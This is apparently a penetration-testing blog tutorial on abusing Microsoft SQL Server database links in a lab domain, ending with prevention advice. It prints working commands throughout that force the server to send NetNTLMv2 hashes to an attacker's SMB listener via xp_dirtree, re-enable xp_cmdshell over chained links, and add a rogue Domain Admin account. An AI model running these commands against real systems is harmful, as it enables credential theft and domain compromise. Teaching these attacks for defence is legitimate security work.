In this post we examine Database Links, a feature found in Microsoft SQL server that allow user’s to setup trusted links to other servers. Database links can be abused to gain access to sensitive data and escalate privileges/further access on the network.
Quick Start
- What On Earth is a Database Link?
- Enumerating Linked Servers in Microsoft SQL Server
- Abusing MS-SQL Database Links to Steal Hashes!
- Compromising the Domain Through Privileged Database Links!
Hold up, What on earth is a database Link?
So, lets go back to the beginning and look at Microsofts definition of a Linked Server.
Linked servers enable the SQL Server Database Engine and Azure SQL Managed Instance to read data from the remote data sources and execute commands against the remote database servers (for example, OLE DB data sources) outside of the instance of SQL Server.
So thats interesting, right?
Microsoft also provides us with some advantages of using Linked Servers.
Linked servers enable you to implement distributed databases that can fetch and update data in other databases. They are a good solution in the scenarios where you need to implement database sharding without need to create a custom application code or directly load from remote data sources. Linked servers offer the following advantages:
- The ability to access data from outside of SQL Server.
- The ability to issue distributed queries, updates, commands, and transactions on heterogeneous data sources across the enterprise.
- The ability to address diverse data sources similarly.
So when database links are configured correctly, they can provide organisations, particularly those that manage lots of different data sources, some powerful features.
Ok, so why should pentesters care?
So as we’ve seen above, linked servers can offer some great data management features. However, as pentesters/security consultants we are only interested in 1337 hax. Well, what if I told you, you could login to a misconfigured SQL server as a standard user account and (configuration dependant) could come out as a Systems Administrator account on the other side? Where you can pop xp_cmdshell to your hearts content and make it rain reverse shells… Are you interested now?
If I have piqued your interest, keep reading and let’s explore how we can manually enumerate and test linked servers in an Active Directory environment, to steal hashes, execute commands and finally compromise the entire domain.
Lab Setup
So for the purposes of this blog post, we will be replicating the attack in a lab environment. The lab environment is made up of the following hosts:
- Thanos.MCU.lab (Windows Server 2016, Domain Controller)
- VisionSQL.MCU.Lab (Windows Server 2016, Running MS SQL Server 2016)
- WandaSQL.MCU.Lab (Windows Server 2016, Running MS SQL Server 2016)
When you create a linked server, you must assign a security role to that link. ie. a user account. A common misconfiguration that I see when conducting internal assessments are that linked servers are setup using the SA account. The SA account would have access to all databases on the target server, so therefore is most likely the easiest account to use for the connection. It is these linked server security roles that we are interested in as pentesters.
For the lab, the following linked servers have been configured.
- A link between VisionSQL and WandaSQL - this allows VisionSQL to access WandaSQL using the security role links-user. This user has basic privileges and only has access to objects that are available to public users.
- A link from WandaSQL, back to VisionSQL - this allows WandaSQL to access VisionSQL using the security role Sysadmin. This is the administrative user, which we will use to execute commands and compromise the server.
So essentially we end up with the following chain:
As you can see, we have created a chain of linked servers, that starts with basic access and finishes with admin access on the server that we started from.
Finally, we are going to be using the Impacket suite of tools, mssqlclient.py in particular, in order to connect to the database and run our queries.
Enumerating Linked Servers in Microsoft SQL Server
Now that the lab is setup, this scenario begins with the compromise of an Active Directory user account under the name of MCU\Ppots
.
We will first use the domain account to check to see if we are able to authenticate to any of the Microsoft SQL Services on either server.
Success! We can authenticate to 192.168.60.102 which has the hostname of VISIONSQL.MCU.Lab.
Next, we will manually enumerate linked Database servers using the Impacket tool mssqlclient.py.
Lets authenticate with the command: mssqlclient.py MCU.lab/Ppots:Tonystark1@192.168.60.102 -windows-auth
. Now that we are logged into the database, we can enumerate any linked servers with the following syntax:
select srvname from master..sysservers
srvname
---------------------------------------------------------------------------
FALCONSQL
WANDASQL
From the output above, we can see that the server has links to two other servers, FalconSQL and WandaSQL.
Lets pick on WandaSQL and see what permissions the database link has been set up with. Now, we are going to use openquery() to run a command on the remote server and see what permissions we have.
The following SQL command can be used to check the permissions of the link, it will return either a 1 or a 0 to indicate true or false.
select * from openquery("WANDASQL", 'SELECT is_srvrolemember(''sysadmin'')')
---------------------------------------------------------------------------
0
The output above shows that the linked from VisionSQL to WandaSQL is not configured as a System Administrator.
For the final step in our enumeration, we are going to check whether it is possible to run stored procedures over the enumerated database links. In order to run a stored procedure over a database link, the link must be configured with the option RPC Out
.
We can check this with the following command:
select is_rpc_out_enabled FROM sys.servers WHERE name ='WANDASQL'
---------------------------------------------------------------------------
1
The command above returned a 1, indicating that RPC Out is enabled for the database link setup between VisionSQL to WandaSQL.
So, lets quickly recap…
- We can authenticate to one of the MS-SQL servers (VisionSQL) with our domain user account.
- We identified two database links present on VisionSQL.
- We found out that the link between VisionSQL and WandaSQL was not configured as a System Administrator.
- We learned that RPC Out was enabled for the database link between VisionSQL and WandaSQL.
Abusing MS-SQL Database Links to Steal Hashes!
Now that we’ve got the boring stuff out of the way. Steal hashes you say?!
We absolutely said that! You might remember from the previous section, when doing our enumeration we noted that the link had RPC out enabled. This lets us run stored procedures on the database server WandaSQL whilst only needing to authenticate to VisionSQL.
But you aren’t SA, what dafuq you gonna do?
Stage right, enter stored procedure, XP_Dirtree.
Talking about the ins and outs of xp_dirtree is out of scope for this post, however a high-level overview is that it instructs the server to connect to a folder and list the contents. This functionality can be abused to connect to a UNC path and it will automatically send its Windows credentials when doing so, allowing us to capture them or relay them.
The best part? Anyone with public permissions or higher, can run this stored procedure
So, with the formalities out of the way. Let’s abuse the link from VisionSQL to WandaSQL in order to retrieve the Windows NetNTLMv2 hash of the user that the server is running as.
First ensure that you have a listener running, ready to accept the connection via SMB. In the example below, I will use the tool Responder.py.
The following command can be used to run a stored procedure over a database link. Note, that in order to run a stored procedure over a database link, a value must be returned. Therefore, you must include the SELECT 1;
at the start of the query each time to satisfy this requirement.
select * from openquery("WANDASQL", 'SELECT 1; EXEC master..xp_dirtree ''\\192.168.60.1\test''')
---------------------------------------------------------------------------
1
As you can see, the command returns the value 1 due to our SELECT 1;
that we mentioned previously. However, when we flick to our terminal with Responder running, we can see that the server has attempted to connect to us and has sent us the NetNTLMv2 hash for the Domain User MCU.lab\TStark
.
Once we have the hash, we can subject it to offline password cracking or even combine this with an SMB Relaying attack to take advantage of a lack of SMB Message Signing on an internal network.
Compromising the Domain Through Privileged Database Links!
So we stole the NetNTLMv2 hash in the previous section from a server we that we didn’t even have permissions to login to. Awesome! Now, lets take it a step further and see if we can actually find a privileged database link.
So far we haven’t spoke about the fact that database links can be nested, when I say nested, consider the following example code:
select * from openquery("SQL1",
"select * from openquery(""SQL2,
""select * from openquery(""""SQL3"""",
""""select * from openquery""""(""""""""SQL4"""""""""",
select is_srv_rolemember(""""""""""""""""sysadmin"""""""""""""""")"""""""")"""")"")");
We are opening a connection to SQL1, then from SQL1 we are connecting to SQL2. Then from SQL2, we are connecting to SQL3, then finally we are connecting to SQL4 and seeing if the link between SQL3 and SQL4 is configured with a System Administrator.
TLDR: We can query other database links through other database links! As far as i know theres no limit on how many you can have, although as you can see above, the queries get out of control pretty quick, especially with the quotes!
So for the last example, we are going to connect to WandaSQL via the database link from VisionSQL and check to see if there are any database links on WandaSQL and whether or not they are privileged. If they are, we will abuse them to execute xp_cmdshell
and compromise the database server.
Enumerating database links on WandaSQL:
select * from openquery("WANDASQL", 'select srvname from master..sysservers');
srvname
---------------------------------------------------------------------------
VISIONSQL
How to check if the second database link between WandaSQL and VisionSQL is configured with a privileged user account:
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''select is_srvrolemember(''''sysadmin'''')'')');
---------------------------------------------------------------------------
1
Like before, we’ll also check if RPC Out is enabled, allowing us to run stored procedures:
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''select is_rpc_out_enabled from sys.servers where name =''''visionsql'''''')');
---------------------------------------------------------------------------
1
So lets recap on what we have discovered:
- We have a database link between VisionSQL and WandaSQL.
- We’ve then identified a second database link from WandaSQL back to VisionSQL.
- We’ve identified that the second database link is configured as a Systems Administrator.
- We’ve also identified that RPC Out is enabled, allowing us to run stored procedures.
As we have systems administrator privileges and RPC out is enabled, this means that we will be able to run the stored procedure xp_cmdshell and execute operating system commands on the server itself.
The stored procedure xp_cmdshell is disabled by default and is rarely found enabled and only a systems administrator account is able to enable it. Thankfully for us there is way to execute it through our database links.
The following commands will renable xp_cmdshell through the two database links we have identified:
exec('exec(''sp_configure ''show advanced options'',1;reconfigure'') at [visionsql]') at [wandasql];
exec('exec(''sp_configure ''xp_cmdshell'',1;reconfigure'') at [visionsql]') at [wandasql];
With xp_cmdshell now renabled, we can now execute commands against the server through our database links.
The following commands will execute xp_cmdshell and leverage the elevated privileges of the SQL Server in order to add a new domain admin account (Note, the SELECT 1;
from the previous section).
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''SELECT 1; EXEC master..xp_cmdshell ''''net user Dannrocks Password1 /add /domain'''''')');
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''SELECT 1; EXEC master..xp_cmdshell ''''net group "Domain Admins" Dannrocks /add /domain'''''')');
Now if we open a powershell prompt on the box as our lower-privileged user account MCU\Ppots
, we can see that a new Domain Administrator account has been created called MCU.lab\Dannrocks
resulting in a domain-wide compromise.
Now we can simply authenticate to the domain controller and enjoy our new-found Domain Admin privileges.
Prevention
- Ensure that database links are configured with the principle of least privilege. Ideally, create a separate account that is only used for that link, with minimal privileges (enough to access the databases/tables for the purposes of the link).
- Ensure that rpc out is disabled, to prevent attackers from running stored procedures over database links.
- Restrict access to the database server and ensure that only accounts that have a genuine business need are the ones that are granted access. Avoid granting access to large groups in Active Directory, such as BUILTIN\Users for example.
- Finally, If you don’t use the database links, make sure they are removed. This can prevent them from being abused if an unauthorised user ever gains access.
References
I highly recommend checking out the following references in particuarly NetSpi, which i learnt alot of these things from initially.
- NetSpi Technical Blog
- Responder.py by Laurent Gaffie
- CrackMapExec by Byt3bl33d3r
- Impacket Suite by SecureAuth
Disclaimer: All information provided within this post is for educational purposes only.